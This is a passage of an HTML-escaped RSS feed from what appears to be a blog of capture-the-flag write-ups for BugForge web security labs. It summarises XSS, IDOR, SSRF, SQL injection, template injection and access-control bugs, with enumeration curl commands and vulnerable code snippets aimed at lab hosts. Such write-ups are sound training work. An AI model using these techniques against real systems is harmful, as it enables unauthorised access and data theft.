style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:4 - jeremy (user - job seeker, the bot/target)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:5 - recruiter for &amp;#34;Pawsitive Ventures&amp;#34; (owns jobs 1-4)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:6 - testuser1 (user - our account)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:7 - recruiter1 (recruiter - our account)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;4&#34;&gt;&#xA;&lt;li&gt;Client-Side JavaScript Analysis&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Downloaded and beautified &lt;code&gt;app.js&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Found &lt;code&gt;escapeHtml()&lt;/code&gt; function that escapes &lt;code&gt;&amp;amp; &amp;lt; &amp;gt; &amp;quot; &#39;&lt;/code&gt; &amp;ndash; used on ALL page renders&lt;/li&gt;&#xA;&lt;li&gt;Found &lt;code&gt;showToast()&lt;/code&gt; &amp;ndash; the ONE function that uses &lt;code&gt;innerHTML&lt;/code&gt; without escaping:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;function&lt;/span&gt; showToast(message, type &lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;info&amp;#39;&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;const&lt;/span&gt; toast &lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;document&lt;/span&gt;.createElement(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;div&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  toast.className &lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;`toast &lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;${&lt;/span&gt;type&lt;span style=&#34;color:#f1fa8c&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;`&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  toast.innerHTML &lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;`&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;    &amp;lt;strong&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;${&lt;/span&gt;type &lt;span style=&#34;color:#ff79c6&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;success&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;...&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;...&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;lt;/strong&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;    &amp;lt;span&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;${&lt;/span&gt;message&lt;span style=&#34;color:#f1fa8c&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;lt;/span&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;  `&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;document&lt;/span&gt;.body.appendChild(toast);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Socket.io feeds user data directly into showToast:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;socket.on(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;new_application&amp;#39;&lt;/span&gt;, (data) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;if&lt;/span&gt; (user.id &lt;span style=&#34;color:#ff79c6&#34;&gt;===&lt;/span&gt; data.recruiterId) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    showToast(data.message, &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;info&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;socket.on(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;status_update&amp;#39;&lt;/span&gt;, (data) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;if&lt;/span&gt; (user.id &lt;span style=&#34;color:#ff79c6&#34;&gt;===&lt;/span&gt; data.userId) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    showToast(data.message, &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;success&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;waf-analysis&#34;&gt;WAF Analysis&lt;/h2&gt;&#xA;&lt;p&gt;The lab hint said FurHire &amp;ldquo;recently upgraded their WAF.&amp;rdquo; Testing every field on POST body revealed:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Galaxy Dash - File Access</title>
				<link>https://johnmatrix.org/bugforge/bf-galaxy-dash-file-access/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-galaxy-dash-file-access/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Multi-tenant: every registration spins up its own organization, and invoice files are stored per-org&lt;/li&gt;&#xA;&lt;li&gt;The bug: an organization &amp;ldquo;avatar&amp;rdquo; field accepts an absolute file path, and the file-download route trusts that path to decide ownership. Point your avatar at another org&amp;rsquo;s invoice and the access check waves you through.&lt;/li&gt;&#xA;&lt;li&gt;Classification: Broken Access Control on private files (CVE-2026-47182 pattern - insecure direct file access via avatar processing)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;Set the target:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Galaxy Dash - IDOR</title>
				<link>https://johnmatrix.org/bugforge/bf-galaxy-dash-idor/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-galaxy-dash-idor/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Galaxy Dash - a Futurama-themed B2B intergalactic delivery booking platform&lt;/li&gt;&#xA;&lt;li&gt;Multi-tenant architecture: each registration creates a separate organization&lt;/li&gt;&#xA;&lt;li&gt;IDOR chain: information disclosure endpoint leaks cross-org booking UUIDs, then tracking endpoint returns full booking data without org validation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;Set the target:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Galaxy Dash - Prototype Pollution</title>
				<link>https://johnmatrix.org/bugforge/bf-galaxy-dash-prototype-pollution/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-galaxy-dash-prototype-pollution/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Galaxy Dash - a Futurama-themed B2B delivery booking platform&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;Set the target:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;TARGET&lt;/span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;https://lab-XXXXX.labs-app.bugforge.io&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;endpoint-extraction--source-maps&#34;&gt;Endpoint Extraction + Source Maps&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Grab the main JS bundle&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;$TARGET&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt; | grep -o &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;static/js/main\.[a-f0-9]*\.js&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# main.596ac5d8.js&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Download and check for source map directive&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;$TARGET&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;/static/js/main.596ac5d8.js&amp;#34;&lt;/span&gt; | tail -1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# //# sourceMappingURL=main.596ac5d8.js.map&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Download source map and extract original source files&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;$TARGET&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;/static/js/main.596ac5d8.js.map&amp;#34;&lt;/span&gt; | python3 -c &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;import json, sys, os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;m = json.load(sys.stdin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;for i, name in enumerate(m.get(&amp;#39;sources&amp;#39;,[])):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;    if &amp;#39;node_modules&amp;#39; not in name:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;        path = &amp;#39;/tmp/sm/&amp;#39; + name.split(&amp;#39;/&amp;#39;)[-1]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;        os.makedirs(os.path.dirname(path), exist_ok=True)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;        open(path, &amp;#39;w&amp;#39;).write(m[&amp;#39;sourcesContent&amp;#39;][i])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;        print(f&amp;#39;  [+] {name}&amp;#39;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;15 API endpoints&lt;/li&gt;&#xA;&lt;li&gt;11 React components extracted&lt;/li&gt;&#xA;&lt;li&gt;Express backend, CORS &lt;code&gt;*&lt;/code&gt;, HS256 JWT with no expiry.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;key-source-code-signals&#34;&gt;Key Source Code Signals&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;OrganizationSettings.js:14&lt;/strong&gt; - sends a &lt;code&gt;dev: false&lt;/code&gt; field to the server:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Galaxy Dash - Template Injection</title>
				<link>https://johnmatrix.org/bugforge/bf-galaxy-dash-template-injection/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-galaxy-dash-template-injection/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Galaxy Dash - a Futurama-themed B2B intergalactic delivery booking platform&lt;/li&gt;&#xA;&lt;li&gt;Organizations can customise their branding via an invoice template string&lt;/li&gt;&#xA;&lt;li&gt;The template is rendered server-side against a context that includes a hidden &lt;code&gt;billing&lt;/code&gt; object&lt;/li&gt;&#xA;&lt;li&gt;Referencing the whole object (&lt;code&gt;{{billing}}&lt;/code&gt;) serialises it into the invoice and leaks a secret &lt;code&gt;api_token&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;Set the target:&lt;/p&gt;</description>
			</item>
			<item>
				<title>HackersParadise - SSRF</title>
				<link>https://johnmatrix.org/bugforge/bf-hackersparadise-ssrf/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-hackersparadise-ssrf/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;SSRF via a LimeWire file download feature, pivoting to an undocumented internal admin service on a different port&lt;/li&gt;&#xA;&lt;li&gt;The lesson: when you find SSRF, enumerate ports immediately. Don&amp;rsquo;t tunnel vision on the one port you already know about.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Theme:&lt;/strong&gt; 90s HackersParadise underground mall (Matrix/retro hacker aesthetic)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;&#xA;&lt;p&gt;SSRF in &lt;code&gt;/api/limewire/download&lt;/code&gt; (&lt;code&gt;torrent_url&lt;/code&gt; field) allows fetching from internal services. URL validation only checks hostname (&lt;code&gt;localhost&lt;/code&gt;) but doesn&amp;rsquo;t restrict ports. Port 4001 hosts an admin service with the flag at &lt;code&gt;/admin/flag.txt&lt;/code&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>MedNode - SQLi</title>
				<link>https://johnmatrix.org/bugforge/bf-mednode-sqli/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-mednode-sqli/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Medical appointment platform with doctor/patient roles&lt;/li&gt;&#xA;&lt;li&gt;SQL injection in an authenticated path parameter - Express route captures the injected payload before SQLite processes it&lt;/li&gt;&#xA;&lt;li&gt;WAF blocks &lt;code&gt;OR&lt;/code&gt; and &lt;code&gt;;&lt;/code&gt; but UNION SELECT sails through&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;setup&#34;&gt;Setup&lt;/h2&gt;&#xA;&lt;p&gt;Grab your URL from the lab page and export it:&lt;/p&gt;</description>
			</item>
			<item>
				<title>MesaNet - HARD</title>
				<link>https://johnmatrix.org/bugforge/bf-mesanet-hard/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-mesanet-hard/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The hardest BugForge challenge I&amp;rsquo;ve done. 15 sessions, hundreds of requests, and the flag was hiding behind a single top-level JSON field in the gateway request body. A masterclass in broken access control through permission source confusion.&lt;/p&gt;</description>
			</item>
			<item>
				<title>MesaNet - WAF &amp; SSRF</title>
				<link>https://johnmatrix.org/bugforge/bf-mesanet-waf/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-mesanet-waf/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A fresh MesaNet variant that swaps the entitlements-override finale for a two-stage server-side story: get past a WAF-hardened OTP gate, then chain an SSRF through an allowlist you have to defeat by pre-normalization path traversal.&lt;/p&gt;</description>
			</item>
			<item>
				<title>MesaNet - Weekly</title>
				<link>https://johnmatrix.org/bugforge/bf-mesanet/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-mesanet/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;This has been the hardest challenge I have yet attempted. It was incredible learning experience and also a huge addition to my Caido MCP skill!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Hard&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Theme:&lt;/strong&gt; Half-Life / Black Mesa Research Facility&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ottergram</title>
				<link>https://johnmatrix.org/bugforge/bf-ottergram/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-ottergram/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Today&amp;rsquo;s lab brings us to the favourite otters :)&lt;/li&gt;&#xA;&lt;li&gt;As usual, we can register and check the page out&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-ottergram/otter-01_hu_7c9a9366f677b9c5.webp 1x, https://johnmatrix.org/bugforge/bf-ottergram/otter-01_hu_8591dad1f065b392.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-ottergram/otter-01_hu_fa885438cf3f793c.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;1232&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Continuing my methodology, I click through everything, send messages, like and comment.&lt;/li&gt;&#xA;&lt;li&gt;Next up, we move to Burp to inspect it all&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-ottergram/otter-02_hu_cb29292159cf49cc.webp 1x, https://johnmatrix.org/bugforge/bf-ottergram/otter-02_hu_cf82ce5af1320d2c.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-ottergram/otter-02_hu_3518a6754fadede8.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;534&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ottergram - BAC</title>
				<link>https://johnmatrix.org/bugforge/bf-ottergram-bac/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-ottergram-bac/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Third round with the otters - this time focusing on Broken Access Control&lt;/li&gt;&#xA;&lt;li&gt;The key lesson from this one: always test with NO authentication, not just wrong-user tokens&lt;/li&gt;&#xA;&lt;li&gt;Used Burp Suite with Autorize extension to automate the access control discovery&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Same app as before - React SPA + Express backend + SQLite&lt;/li&gt;&#xA;&lt;li&gt;Registered a user, browsed around, posted a comment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Endpoint Discovery (via Burp Proxy History)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/posts                - List posts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/posts/{id}/comments  - List comments&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/posts/{id}/comments  - Add comment (requires auth)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/comments/{id}        - Edit comment (requires auth... or does it?)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/profile/{username}   - View profile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/profile              - Update profile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin                - Admin panel (requires admin role)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/login                - Login&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/register             - Register&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Users&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:1 - otter_lover&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:2 - admin (role: admin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:3 - sea_otter_fan&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:4 - tester (me, role: user)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;autorize---access-control-testing&#34;&gt;Autorize - Access Control Testing&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Loaded the Autorize extension in Burp to passively detect authorization bypasses&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ottergram - IDOR</title>
				<link>https://johnmatrix.org/bugforge/bf-ottergram-idor/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
